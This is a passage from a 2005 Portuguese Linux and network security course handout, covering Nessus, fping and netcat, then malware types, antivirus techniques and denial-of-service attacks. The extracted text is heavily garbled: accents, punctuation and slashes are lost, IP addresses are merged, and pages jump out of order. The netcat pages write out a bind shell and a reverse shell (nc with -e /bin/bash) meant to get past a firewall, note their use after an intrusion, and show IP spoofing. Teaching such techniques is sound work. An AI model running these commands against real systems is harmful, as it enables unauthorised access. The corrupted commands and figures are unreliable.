Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 8: Curso de segurança em linux e redes em geral

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

